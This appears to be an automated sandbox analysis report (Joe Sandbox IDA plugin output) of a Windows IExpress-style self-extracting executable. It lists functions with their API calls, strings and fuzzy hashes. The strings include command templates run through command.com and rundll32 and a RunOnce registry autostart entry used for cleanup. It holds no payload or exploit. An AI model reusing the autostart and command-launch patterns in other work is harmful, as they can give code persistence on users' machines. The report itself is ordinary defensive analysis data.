Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-21273240
Opcode ID: cce2f39bb51e1610032cb134793d083509bf2d2bb5300c234432a708df280df2
Instruction ID: d43fb2e95313ab42a6a5963eef7cb003dc412a53f4111b2c71fd8216e275d450
Opcode Fuzzy Hash: cce2f39bb51e1610032cb134793d083509bf2d2bb5300c234432a708df280df2
Instruction Fuzzy Hash: 20A14970A202196BEB209F24CC49BEA7769EF53330F140695E559A32C1DFB08EB5CF50

Function 002A2F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000105), ref: 002A2F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 002A2FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 002A2FC6
DecryptFileA.ADVAPI32 ref: 002A2FE6
FreeLibrary.KERNEL32(00000000), ref: 002A2FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 002A301C

Part of subcall function 002A51E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,002A2F4D,?,00000002,00000000), ref: 002A5201

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A2FDB, 002A3017
advapi32.dll, xrefs: 002A2F99
DecryptFileA, xrefs: 002A2FC0

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-1349829096
Opcode ID: 59b69cb1154373d57a636236c4f61234826d025ca3273e20746f03d5bdb47641
Instruction ID: 23dcfa7869319d822be54b3c6f9ea806e6b71fad093c0f2beab5d50a20e026c9
Opcode Fuzzy Hash: 59b69cb1154373d57a636236c4f61234826d025ca3273e20746f03d5bdb47641
Instruction Fuzzy Hash: EC419C31A302169BDB30EF75BC4E76A73A8AB57760F100066F945C2592EF74CEA4CE61

Function 002A2390 Relevance: 12.1, APIs: 8, Instructions: 93filestringCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(?,002A8A3A,002A11F4,002A8A3A,00000000,?,?), ref: 002A23F6
lstrcmpA.KERNEL32(?,002A11F8), ref: 002A2427
lstrcmpA.KERNEL32(?,002A11FC), ref: 002A243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 002A2495
DeleteFileA.KERNEL32(?), ref: 002A24A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 002A24AF
FindClose.KERNELBASE(00000000), ref: 002A24BE
RemoveDirectoryA.KERNELBASE(002A8A3A), ref: 002A24C5

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 8e5ca82ed98d0cf664c906aee93fae8e49fe8bde6460ead793c0ea8169365727
Instruction ID: 696abeb57acb6176085615826b2f02da38c6e3fe988407f29e1cba0411b26599
Opcode Fuzzy Hash: 8e5ca82ed98d0cf664c906aee93fae8e49fe8bde6460ead793c0ea8169365727
Instruction Fuzzy Hash: E0318131614640EBC321DFA8DD8DAEB73ACAFCB715F04492EB55982190EF34992DCB52

Function 002A2BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,002A6BB0,002A0000,00000000,00000002,0000000A), ref: 002A2C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,002A6BB0,002A0000,00000000,00000002,0000000A), ref: 002A2C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 002A2C28
CloseHandle.KERNEL32(00000000,?,?,002A6BB0,002A0000,00000000,00000002,0000000A), ref: 002A2C98

Strings

Kernel32.dll, xrefs: 002A2C13
HeapSetInformation, xrefs: 002A2C22

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 74b2afbb94a6865b794d86c990e89dd2680fe6193fe782a5180c5461ab65b748
Instruction ID: 98ba9529cdfc2aacca3685e7b9e912115091c527c67e8ef5e0cbf386177e088c
Opcode Fuzzy Hash: 74b2afbb94a6865b794d86c990e89dd2680fe6193fe782a5180c5461ab65b748
Instruction Fuzzy Hash: DA11A031220216EBD7206FB9BC8DB6F375E9B8B7A0B060026F904D3251DE20DC69CA61

Function 002A202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 002A2050
memset.MSVCRT ref: 002A205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 002A208C

Part of subcall function 002A171E: _vsnprintf.MSVCRT ref: 002A1750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000000,00000000,?,?,?,?,?), ref: 002A20C9
RegCloseKey.ADVAPI32(?,?,?,?,?), ref: 002A20EA
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 002A2103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?), ref: 002A2122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 002A2134
FreeLibrary.KERNELBASE(00000000,?,?,?,?), ref: 002A2144
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 002A215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?), ref: 002A218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 002A21C1
RegCloseKey.ADVAPI32(?,?,?,?,?), ref: 002A21E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 002A223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 002A2249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 002A2250

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A21A8, 002A2204
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 002A21F6
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 002A2082
DelNodeRunDLL32, xrefs: 002A212E
advpack.dll, xrefs: 002A2109
%s /D:%s, xrefs: 002A21FF, 002A2210
wextract_cleanup1, xrefs: 002A20A5, 002A20BE, 002A20F0, 002A2232
wextract_cleanup%d, xrefs: 002A209E

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup1
API String ID: 178549006-4141939531
Opcode ID: c628532487afc32b50e5624885bf4de3efc9d7590c7e7e5a55a0e351078dd6cd
Instruction ID: f6ae5351308cf8ca68d84ba2e7b70b0f6da0f84a29c0407da9a9e2889df34cc5
Opcode Fuzzy Hash: c628532487afc32b50e5624885bf4de3efc9d7590c7e7e5a55a0e351078dd6cd
Instruction Fuzzy Hash: 1051D271A20215ABDB209F64EC4DFFA776CEF57700F0001A4FA49A6151EF719DA9CE60

Function 002A55A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46A0
Part of subcall function 002A468F: SizeofResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46A9
Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46C3
Part of subcall function 002A468F: LoadResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46CC
Part of subcall function 002A468F: LockResource.KERNEL32(00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46D3
Part of subcall function 002A468F: memcpy_s.MSVCRT ref: 002A46E5
Part of subcall function 002A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 002A55CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 002A5638
LocalFree.KERNEL32(00000000), ref: 002A564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 002A5620

Part of subcall function 002A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 002A4518
Part of subcall function 002A44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 002A4554

Part of subcall function 002A6285: GetLastError.KERNEL32(002A5BBC), ref: 002A6285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 002A56B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 002A571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 002A5737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 002A57CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 002A57EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 002A5802

Part of subcall function 002A2630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 002A2654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 002A5830

Part of subcall function 002A6517: FindResourceA.KERNEL32(002A0000,000007D6,00000005), ref: 002A652A
Part of subcall function 002A6517: LoadResource.KERNEL32(002A0000,00000000,?,?,002A2EE8,00000000,002A19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 002A6538
Part of subcall function 002A6517: DialogBoxIndirectParamA.USER32(002A0000,00000000,00000547,002A19E0,00000000), ref: 002A6557
Part of subcall function 002A6517: FreeResource.KERNEL32(00000000,?,?,002A2EE8,00000000,002A19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 002A6560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 002A5878

Part of subcall function 002A597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 002A59A8
Part of subcall function 002A597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 002A59AF

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A56AE, 002A56B3, 002A583D
RUNPROGRAM, xrefs: 002A55BD, 002A5600
msdownld.tmp, xrefs: 002A57D3
A:\, xrefs: 002A56F4
Z, xrefs: 002A570A
<None>, xrefs: 002A5632

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-2692175070
Opcode ID: 2830e13f890a561173749aec29ae7050889e40e2035ee17415ff67982b8c836b
Instruction ID: 337db6409e464d32b05c3d23ef20500d59eecf441199db4df3f840888e61af9d
Opcode Fuzzy Hash: 2830e13f890a561173749aec29ae7050889e40e2035ee17415ff67982b8c836b
Instruction Fuzzy Hash: 29812C70A24A259BDB24AF349C49BFB73AD9F57300F4400A5F586E2191EFB48DE5CE50

Function 002A2CAA Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 183
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 002A2CD9
memset.MSVCRT ref: 002A2CE9
memset.MSVCRT ref: 002A2CF9

Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46A0
Part of subcall function 002A468F: SizeofResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46A9
Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46C3
Part of subcall function 002A468F: LoadResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46CC
Part of subcall function 002A468F: LockResource.KERNEL32(00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46D3
Part of subcall function 002A468F: memcpy_s.MSVCRT ref: 002A46E5
Part of subcall function 002A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A2D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 002A2D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 002A2DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 002A2DBD
CloseHandle.KERNEL32(valid,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 002A2E0A

Part of subcall function 002A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 002A4518
Part of subcall function 002A44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 002A4554

Strings

EXTRACTOPT, xrefs: 002A2D4D
TITLE, xrefs: 002A2D09
@"v, xrefs: 002A2E66
valid, xrefs: 002A2D04, 002A2DD9, 002A2DF0
VERCHECK, xrefs: 002A2E54
INSTANCECHECK, xrefs: 002A2D95

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: @"v$EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$valid
API String ID: 1002816675-997357671
Opcode ID: 48b66e9ca47217801df01565dfd0e005a889fefe029445eead9ff7a189d0da26
Instruction ID: 0289df41c0341bdb9a671555b9d6b8493d07ed881efdd3da27cd3cf160a537c2
Opcode Fuzzy Hash: 48b66e9ca47217801df01565dfd0e005a889fefe029445eead9ff7a189d0da26
Instruction Fuzzy Hash: 0151E370770302EBE724AB29AD0EB7B3699EB97710F004026B945D55D1EFB498B9CE21

Function 002A4FE0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46A0
Part of subcall function 002A468F: SizeofResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46A9
Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46C3
Part of subcall function 002A468F: LoadResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46CC
Part of subcall function 002A468F: LockResource.KERNEL32(00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46D3
Part of subcall function 002A468F: memcpy_s.MSVCRT ref: 002A46E5
Part of subcall function 002A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 002A4FFE
LoadResource.KERNEL32(00000000,00000000), ref: 002A5006
LockResource.KERNEL32(00000000), ref: 002A500D
GetDlgItem.USER32(00000000,00000842), ref: 002A5030
ShowWindow.USER32(00000000), ref: 002A5037
GetDlgItem.USER32(00000841,00000005), ref: 002A504A
ShowWindow.USER32(00000000), ref: 002A5051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 002A5111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 002A5159

Strings

CABINET, xrefs: 002A4FE6, 002A4FF7
*MEMCAB, xrefs: 002A50C7
@"v, xrefs: 002A5006

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$@"v$CABINET
API String ID: 1305606123-2945745304
Opcode ID: 3f7034c7e1d8c350ae1d8fb8fbaf7a0bd8e0e95c9fa31d50c25b336d0532a7a0
Instruction ID: fdb07c8af617e7411090b3be61bdc768b9c502d71d86c04e9c709208fd9175b0
Opcode Fuzzy Hash: 3f7034c7e1d8c350ae1d8fb8fbaf7a0bd8e0e95c9fa31d50c25b336d0532a7a0
Instruction Fuzzy Hash: 753180B07607127BD7206B66BD8EF67369CBB8B755F040025F90AA21A1DFB4CC60CA61

Function 002A597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 002A59A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 002A59AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 002A5A13
MulDiv.KERNEL32(?,?,00000400), ref: 002A5A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 002A5A64
memset.MSVCRT ref: 002A5A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 002A5A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 002A5AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 002A5BFC

Part of subcall function 002A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 002A4518
Part of subcall function 002A44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 002A4554

Part of subcall function 002A6285: GetLastError.KERNEL32(002A5BBC), ref: 002A6285

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: 0941950c8db9a26c9c4195b450ae1051e05868e0fd10da670fe3cf325b28504a
Instruction ID: b0d0439ac4bc42cd1da5d3f93c8e6e924cd285a6e88be6fb4f450c26a9380521
Opcode Fuzzy Hash: 0941950c8db9a26c9c4195b450ae1051e05868e0fd10da670fe3cf325b28504a
Instruction Fuzzy Hash: 3671B1B1A10229AFEB159F24DC89BFB77ADEB4A304F0444AAF50696140DF708E95CF20

Function 002A44B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 002A4518
MessageBoxA.USER32(?,?,valid,00010010), ref: 002A4554
LocalAlloc.KERNEL32(00000040,00000065), ref: 002A45A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 002A45E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 002A460D
MessageBeep.USER32(00000000), ref: 002A4630
MessageBoxA.USER32(?,00000000,valid,00000000), ref: 002A4666
LocalFree.KERNEL32(00000000), ref: 002A466F

Part of subcall function 002A681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 002A686E
Part of subcall function 002A681F: GetSystemMetrics.USER32(0000004A), ref: 002A68A7
Part of subcall function 002A681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 002A68CC
Part of subcall function 002A681F: RegQueryValueExA.ADVAPI32(?,002A1140,00000000,?,?,?), ref: 002A68F4
Part of subcall function 002A681F: RegCloseKey.ADVAPI32(?), ref: 002A6902

Strings

LoadString() Error. Could not load string resource., xrefs: 002A44E4
valid, xrefs: 002A4545, 002A465A

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$valid
API String ID: 3244514340-303183264
Opcode ID: 49aaf4c23ff5ed995b48eb74cee32282280ba20af8512dfa0d79ad6fc23417c3
Instruction ID: 96146971a203ed04e26908ab575e2aab5cc39d5286153280d1a09736ce25daba
Opcode Fuzzy Hash: 49aaf4c23ff5ed995b48eb74cee32282280ba20af8512dfa0d79ad6fc23417c3
Instruction Fuzzy Hash: 0B510671910216AFDB21AF28DC4CBAABB69EF87700F144195FD09A7241DFB1DD29CB50

Function 002A468F Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46A0
SizeofResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46C3
LoadResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46CC
LockResource.KERNEL32(00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46D3
memcpy_s.MSVCRT ref: 002A46E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46EF

Strings

TITLE, xrefs: 002A469D, 002A46C0
@"v, xrefs: 002A46CC
valid, xrefs: 002A46E4

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: @"v$TITLE$valid
API String ID: 3370778649-2568985078
Opcode ID: 5e04f2b049a43af94bbcd0ccc91c450e47b1e15612148f02f483a4013d13604a
Instruction ID: 968a8da05afb477caef1e5a338a6d719d05e8df959fb6a84df4bf0de751e979d
Opcode Fuzzy Hash: 5e04f2b049a43af94bbcd0ccc91c450e47b1e15612148f02f483a4013d13604a
Instruction Fuzzy Hash: 7B0181362542117BE3202BA5BC4DF7B7E2CDFCBF62F044125FA4A96190CEA1C855C6A6

Function 002A53A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002A171E: _vsnprintf.MSVCRT ref: 002A1750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 002A53FB
GetFileAttributesA.KERNELBASE(?), ref: 002A5402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?), ref: 002A541F
DeleteFileA.KERNEL32(?), ref: 002A542B
CreateDirectoryA.KERNEL32(?,00000000), ref: 002A5434
